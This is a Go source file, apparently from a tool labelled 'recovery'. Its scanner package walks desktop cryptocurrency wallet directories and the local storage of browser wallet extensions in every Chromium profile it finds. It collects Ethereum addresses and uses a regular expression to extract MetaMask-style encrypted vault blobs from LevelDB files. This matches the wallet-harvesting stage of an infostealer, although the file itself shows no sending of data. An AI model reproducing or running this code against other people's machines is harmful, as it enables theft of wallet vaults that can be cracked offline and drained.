180 lines
4.0 KiB
Go
180 lines
4.0 KiB
Go
package scanner
|
|
|
|
import (
|
|
"bufio"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"regexp"
|
|
"strings"
|
|
|
|
"recovery/recovery/browser"
|
|
"recovery/recovery/types"
|
|
)
|
|
|
|
type walletConfig struct {
|
|
Name string
|
|
SubPath string
|
|
Base string // "appdata", "localappdata", "userprofile", "home"
|
|
}
|
|
|
|
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
|
|
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
|
|
|
|
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
|
|
const maxAddresses = 50
|
|
|
|
func ScanWallets() []types.WalletResult {
|
|
var results []types.WalletResult
|
|
results = append(results, scanDesktopWallets()...)
|
|
results = append(results, scanBrowserWalletData()...)
|
|
return results
|
|
}
|
|
|
|
func scanDesktopWallets() []types.WalletResult {
|
|
var results []types.WalletResult
|
|
for _, w := range getDesktopWalletPaths() {
|
|
base := resolveWalletBase(w.Base)
|
|
if base == "" {
|
|
continue
|
|
}
|
|
|
|
dir := filepath.Join(base, w.SubPath)
|
|
info, err := os.Stat(dir)
|
|
if err != nil || !info.IsDir() {
|
|
continue
|
|
}
|
|
|
|
files, totalSize := countDirContents(dir)
|
|
if files == 0 {
|
|
continue
|
|
}
|
|
|
|
wr := types.WalletResult{
|
|
Name: w.Name,
|
|
Type: "desktop",
|
|
Path: dir,
|
|
Files: files,
|
|
Size: totalSize,
|
|
}
|
|
wr.Addresses = extractAddressesFromDir(dir)
|
|
results = append(results, wr)
|
|
}
|
|
return results
|
|
}
|
|
|
|
func scanBrowserWalletData() []types.WalletResult {
|
|
var results []types.WalletResult
|
|
for _, cfg := range browser.Browsers {
|
|
if cfg.IsFirefox {
|
|
continue
|
|
}
|
|
profiles := browser.FindProfileDirs(cfg)
|
|
for _, profile := range profiles {
|
|
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
|
|
for extID, walletName := range knownWalletExtensions {
|
|
extDataDir := filepath.Join(lesDir, extID)
|
|
info, err := os.Stat(extDataDir)
|
|
if err != nil || !info.IsDir() {
|
|
continue
|
|
}
|
|
files, totalSize := countDirContents(extDataDir)
|
|
if files == 0 {
|
|
continue
|
|
}
|
|
wr := types.WalletResult{
|
|
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
|
|
Type: "extension",
|
|
Path: extDataDir,
|
|
Files: files,
|
|
Size: totalSize,
|
|
}
|
|
wr.Addresses = extractAddressesFromDir(extDataDir)
|
|
wr.VaultData = extractVaultData(extDataDir)
|
|
results = append(results, wr)
|
|
}
|
|
}
|
|
}
|
|
return results
|
|
}
|
|
|
|
func extractAddressesFromDir(dir string) []string {
|
|
seen := make(map[string]bool)
|
|
var addrs []string
|
|
|
|
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
|
|
return nil
|
|
}
|
|
if len(addrs) >= maxAddresses {
|
|
return filepath.SkipAll
|
|
}
|
|
|
|
f, err := os.Open(path)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
defer f.Close()
|
|
|
|
scanner := bufio.NewScanner(f)
|
|
scanner.Buffer(make([]byte, 256*1024), 256*1024)
|
|
for scanner.Scan() {
|
|
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
|
|
for _, m := range matches {
|
|
addr := strings.ToLower(m)
|
|
if !seen[addr] {
|
|
seen[addr] = true
|
|
addrs = append(addrs, m)
|
|
if len(addrs) >= maxAddresses {
|
|
return filepath.SkipAll
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return nil
|
|
})
|
|
return addrs
|
|
}
|
|
|
|
func extractVaultData(dir string) string {
|
|
var vault string
|
|
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil || info.IsDir() || vault != "" {
|
|
return nil
|
|
}
|
|
ext := strings.ToLower(filepath.Ext(path))
|
|
if ext != ".ldb" && ext != ".log" {
|
|
return nil
|
|
}
|
|
if info.Size() == 0 || info.Size() > maxFileReadSize {
|
|
return nil
|
|
}
|
|
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
match := vaultRe.Find(data)
|
|
if match != nil {
|
|
vault = string(match)
|
|
return filepath.SkipAll
|
|
}
|
|
return nil
|
|
})
|
|
return vault
|
|
}
|
|
|
|
func countDirContents(dir string) (int, int64) {
|
|
var count int
|
|
var totalSize int64
|
|
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
|
|
if err != nil || info.IsDir() {
|
|
return nil
|
|
}
|
|
count++
|
|
totalSize += info.Size()
|
|
return nil
|
|
})
|
|
return count, totalSize
|
|
}
|